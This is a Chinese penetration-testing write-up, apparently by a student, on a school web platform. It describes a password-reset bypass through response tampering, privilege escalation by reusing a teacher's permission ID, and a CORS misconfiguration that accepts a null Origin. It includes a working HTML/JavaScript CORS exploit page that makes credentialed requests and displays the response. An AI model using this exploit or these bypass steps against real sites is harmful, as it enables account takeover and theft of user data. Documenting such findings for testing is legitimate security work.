高二在读
主要思路就是任意密码重置cors泄露了带有权限的id,然后修改id达到越权
0x01 信息收集
对方直接给了一个站点以及账号,子域名,随手翻了翻,发现这个站点还是个正在开发的站点,因为很多子域名都只是简单模板,无后端
打开一个发现是个登录框可以用对方所提供的账号登录上去,一般登录框我都会查看下忘记密码处有没有任意密码重置漏洞
资产太多就不一一截图了
0x02 进入站点
抓包分析一波
发现没有什么有价值的信息
看一下响应包
尝试更改,改成1,把msg改为空,看下页面有没有跳转
第一步过了
0x03 绕过
可问题是改成123456还是不行,接下来尝试绕过,同样方法
因为用的是学生账号,我当时搞到这一直在看有没有越权之类的,发现都没,然后又是一阵摸索,到了前台登录处继续抓包,发现老师账号比学生账号多了一个机制,老师有一串id,每个老师的权限不同id也不一样
我在想能不能在登陆处经行越权
然后复制id,和参数,到学生端,登录之后发现可以越权
但是我想继续获取别人的id怎么搞,接着发现登录处有个origin头部 尝试了一下null,发现可以,那么就可以经行cors资源共享,看看能不能获取到敏感信息,,因为登录页和最终请求到后端的页面不在一个页面,它后端会校验你的id值,id值来决定你的权限cors一波,本地获取一波
Cors的exp如下:
<!DOCTYPE html>
<html>
<head><title>CORS</title></head>
<body>
<center>
<h2>CORs Exploit</h2>
<textarea rows="10" cols="60" id="pwnz">
</textarea><br>
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("pwnz").innerHTML = this.responseText;
}
};
xhttp.open("POST", "链接地址", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
然后复制上去
登录成功,越权为老师
0x04 总结
这里的cors请求的是另一个accountapi接口所以当别人时我也能获取到cors
这些图都是聊天记录发的,然后二次截图打码,可能有些不全,因为现在也复现不了了,对方修了,献丑了师傅们
本文始发于微信公众号(星盟安全):实战渗透分享——cors泄露id导致越权
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论